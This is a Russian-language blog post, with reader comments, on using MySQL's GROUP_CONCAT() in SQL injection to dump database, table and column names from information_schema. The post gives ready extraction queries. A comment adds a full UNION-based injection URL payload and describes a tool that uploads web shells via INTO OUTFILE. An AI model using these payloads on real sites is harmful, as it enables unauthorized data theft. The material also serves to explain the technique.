GROUP_CONCAT()

Функция GROUP_CONCAT() позволяет объединить в одну строку несколько записей из таблицы, при этом можно задавать свой собственный символ разделения, а также воспользоваться операторами DISTINCT, ORDER BY, ASC/DESC. Впервые функция появилась в MySQL версии 4.1. Полный синтаксис и примеры использования можно посмотреть в официальной документации MySQL.

В SQL-инъекции GROUP_CONCAT() может пригодиться при получении списка баз данных, таблиц и их колонок из information_schema (разумеется, при MySQL 5.*).

  • SELECT GROUP_CONCAT(SCHEMA_NAME SEPARATOR 0x0a) FROM information_schema.SCHEMATA
    список баз данных в одном поле
  • SELECT GROUP_CONCAT(TABLE_NAME SEPARATOR 0x0a) FROM information_schema.TABLES
    список всех таблиц из текущей базы данных
  • SELECT GROUP_CONCAT(TABLE_NAME SEPARATOR 0x0a) FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x73697465
    список всех таблиц из базы данных site
  • SELECT GROUP_CONCAT(COLUMN_NAME SEPARATOR 0x0a) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273
    список колонок таблицы users

Главной проблемой данной функции является то, что объем возвращаемых ей данных ограничен системной переменной group_concat_max_len, по умолчанию значение которой равняется 1024 байтам. Изменить это значение, внедрив конструкцию SET GLOBAL group_concat_max_len=val в SQL-инъекцию естественно не получится, так как MySQL не поддерживает выполнение нескольких запросов, разделенных точкой с запятой. Конечно можно было бы смириться с таким ограничением, если бы GROUP_CONCAT() наряду с ORDER BY и DESC/ASC поддерживал бы LIMIT, но этого не дано. Таким образом, использовать данную функцию удобно лишь при получении заведомо небольших объемов данных.


Posted

in

by

Comments

19 responses to “GROUP_CONCAT()”

  1. wi11son Avatar

    как всегда мануал по базам, дает найбольшую информацию об инъекциях 😉

  2. Best Avatar
    Best

    Раз уж зашёл разговор о CONCAT’ах, то хочу добавить ещё одну функцию, CONCAT_WS(). Её отличие от обычного конката в том, что первым параметром он принимает разделитель, а потом перечисление полей через запятую. Он не подойдет для замены GROUP_CONCAT(), так как он требует цеклического обращения к запросу, а вот вместо CONCAT(e_mail,char(38),pass,char(38),login,char(38),address,char(38),nick,char(38),date_reg) будет очень удобно использовать CONCAT_WS(char(38),e_mail,pass,login,address,nick,date_reg).

    GROUP_CONCAT() удобен в ситуации, когда при инъекции возвращается только одна запись. В таком случае эта функция экономит очень много времени, так как её результат – одно значение, в котором перечислено через сепаратор множество значений, одъединенных в строку, грубо говоря, это конкат не по строке, а по столбцу.

  3. Best Avatar
    Best

    Так же GROUP_CONCAT() может принимать не одно поле, а несколько, например так:
    GROUP_CONCAT(login,char(38),pass), если сепаратор не указан через SEPARATOR, то он автоматически будет использовать запятую.

  4. Raz0r Avatar

    >Так же GROUP_CONCAT() может принимать не одно поле, а несколько
    да-да все это есть в документации, но к сожалению GROUP_CONCAT на практике имеет очень маленькое применение в виду ограничений, изложенных выше. Если бы не group_concat_max_len, то через одну выводимую запись в sql-инъекции можно бы было за один запрос получить всю базу данных, но увы…

  5. Best Avatar
    Best

    Ну приминение можно и расширить, например с использованием групировки:

    SELECT group_concat(`TABLE_NAME`)
    FROM `information_schema`.`tables`
    GROUP BY `TABLE_SCHEMA`
    LIMIT 0,1
    

    Перебирая лимитом строки, мы получаем таблицы, в разных базах данных. Зачем нам, например, системные таблицы из базы `information_schema`, я их и так знаю наизусть :), а они отжирают место у тех таблиц, имена которых мне не известны. Можно конечо было бы написать условие, что `TABLE_SCHEMA` <> ‘information_schema’, но таблицы из всех баз все равно могут не поместится, а будучи сгрупированными, вероятность их влезания в 1024 байта гораздо выше.

  6. illusions Avatar

    Как раз в одном запросе использую GROUP_CONCAT
    Возникла такая проблема – нельзя сравнить результирующий GROUP_CONCAT со значением, например

    SELECT id, GROUP_CONCAT(liefers_products.product_name SEPARATOR ‘, ‘) AS products
    FROM …..
    INNER JOIN ….
    WHERE products LIKE ”

    При добавленни WHERE products LIKE – дает ошибку

  7. illusions Avatar

    Понял ошибку, надо в HAVING переносить

  8. mg Avatar
    mg

    как на счет такой альтернативной конструкции
    select concat_ws(char(58),(select column from table limit 0,1),(select column from table limit 1,1),…) ;

  9. Raz0r Avatar

    Выйдет слишком длинный запрос, который будет отлично виден в логах

  10. Ssdd Avatar
    Ssdd

    Интересно какая реализация для MsSQL есть, точнее как можно сделать что то вроде group_concat в мсскл?
    Так как мсскл лишина этой “роскоши” 🙁

  11. Raz0r Avatar

    При написании статьи интересовался этим вопросом и могу сказать, что в MSSQL реализовать аналог функции GROUP_CONCAT() можно посредством создания пользовательской хранимой процедуры. Примеры такой процедуры:
    http://sodeve.net/ms-sql-version-of-mysqls-group_concat/
    Кроме того как альтернативу GROUP_CONCAT можно рассматривать конструкцию FOR XML RAW

  12. iHornet Avatar
    iHornet

    Категорически не согласен с утверждением, что GROUP_CONCAT можно использовать только для возврата небольших объемов данных, т.к. именно на этой функции базируется моя утилита “Медвежья хватка” (MedWebGrasp). Ограничение на длину возвращаемого результата прекрасно обходится.. Вот как выглядит полный вариант этой функции:
    GROUP_CONCAT([DISTINCT] expr [,expr …] [ORDER BY {unsigned_integer | col_name | expr}
    [ASC | DESC] [,col_name …]] [SEPARATOR str_val])
    Суть обхода – получение информации последовательными порциями по 1024 байта. Чтобы эти порции упорядочить и выбирать нужную можно воспользоваться опцией ORDER BY и соответствующим условием в самом запросе. Вот, например, как выглядит запрос для очередной порции списка непустых таблиц из инф.схемы:
    ?id=0+UNION+SELECT+group_concat(Table_schema,0x60,Table_name,0x60,Table_rows+
    ORDER+BY+concat(Table_schema,0x60,Table_name,0x60,Table_rows)+separator+0x5E)+
    FROM+Information_schema.Tables+WHERE+Table_rows+and+
    concat(Table_schema,0x60,Table_name,0x60,Table_rows)>0x746573746063616368655F696D61676573697A6573603233
    Главная задача автоматизации в таком переборе – определение последнего “токена” в выдаваемом списке и подстановка его в последнее условие.

  13. Raz0r Avatar

    Представленный вами способ действительно эффективен, но это не обход ограничения, так как в любом случае максимальная длина получаемых данных за один запрос – 1024 байта. Кстати где вашу утилиту можно посмотреть? 🙂

  14. iHornet Avatar
    iHornet

    Пока нигде, т.к. в “свет” я ее еще не выпустил – есть задумки, которые можно еще реализовать, но уже сейчас она умеет многое, правда работает пока только по SI-Mysql сайтам. Есть сканер портов и папок (в т.ч. и через load_file). Имеется “читалка” файлов и директорий. Имеется инфектор для аплоада шеллов через into outfile. Легко настраивается sql-профилями под ненапряжное исследование сайта – работать с инжектом можно почти не касаясь клавы 🙂 Все собранные данные хранит в БД Access и позволяет легко их просматривать. ИМХО проект довольно перспективный. Если есть интерес, могу прислать на пробу 🙂

  15. Ruslan Avatar
    Ruslan

    Старая запись и автор наверное не увидит месаги, Raz0r, а не мог бы ты мне выслать эту его утилитку? 🙂 Огромное спасибо 🙂

  16. Ruslan Avatar
    Ruslan

    Упс… нашел сам 🙂 http://mwgrasp.oni.cc/

  17. mg Avatar
    mg

    вот как вариант замена group_concat
    если есть таблица test с полем id целое, уникальное
    то можно вывести в строку значеия поля field

    число раз = select count(id) from table

    select concat(
    @a2:=(select min(id)-1 from test),
    @b:=0,
    benchmark(число раз,
    @b:=concat(
    @a2:=(select id from test where id>@a2 limit 1),
    0x3a,@b,@b2:=(select concat(field,0x2c) from test where id=@a2)
    )
    ),
    cast(@b as char));
    минус запроса – время выполнения
    запрос можно доработать, надо сделать проверку на id0

    p.s:
    может, как вариант сделать что-то подобное без привязвки к полю id с использованием not in

  18. Raz0r Avatar

    когда-то это было приватом 🙂

  19. Мик Avatar
    Мик

    Если нужен LIMIT в GROUP_CONCAT то помните что результат это строка, а занчит лимит можно легко сделать при помощи строковой функции SUBSTRING_INDEX указав тот же разделитель и кол-во отсекаемых строк

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.